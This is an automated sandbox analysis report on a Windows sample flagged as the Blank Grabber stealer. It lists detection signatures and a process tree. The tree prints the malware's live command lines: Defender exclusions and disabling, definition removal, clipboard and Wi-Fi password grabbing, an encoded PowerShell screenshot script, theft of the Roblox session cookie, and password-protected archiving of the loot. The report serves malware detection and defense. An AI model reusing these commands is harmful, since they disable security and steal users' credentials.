Edit tour

Windows Analysis Report
e45AiBoV6X.exe

Overview

General Information

Sample name:	e45AiBoV6X.exe renamed because original name is a hash value
Original sample name:	3e6d7972822636f67ccf275ebd140188.exe
Analysis ID:	1477272
MD5:	3e6d7972822636f67ccf275ebd140188
SHA1:	b0a6df78dad3b697458d9296df134900b4b33177
SHA256:	483a8ed2f54ab848a850e9b97207c3ed638ddd3e9fb01d19746f5d5b12e30525
Tags:	64exe
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Potentially malicious time measurement code found

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses netsh to modify the Windows network and firewall settings

Very long command line found

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Execution of Powershell with Base64

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

e45AiBoV6X.exe (PID: 7380 cmdline: "C:\Users\user\Desktop\e45AiBoV6X.exe" MD5: 3E6D7972822636F67CCF275EBD140188)

e45AiBoV6X.exe (PID: 7396 cmdline: "C:\Users\user\Desktop\e45AiBoV6X.exe" MD5: 3E6D7972822636F67CCF275EBD140188)

cmd.exe (PID: 7452 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7568 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7460 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7544 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 7276 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7744 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7912 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7772 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7900 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6628 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8008 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6692 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8036 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2504 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8052 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8164 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 6556 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7484 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7188 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5052 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 6688 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7780 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 7860 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1368 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 5052 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 6688 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA594.tmp" "c:\Users\user\AppData\Local\Temp\bohkan2x\CSC24344491B9A34B60B194FE692FA1E0E5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 8096 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8032 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7976 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 2920 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 7864 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8144 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 2696 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8124 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8184 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7724 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7640 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4500 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7888 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5568 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7188 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 8132 cmdline: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 6688 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7780 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8088 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7756 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7900 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3052 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

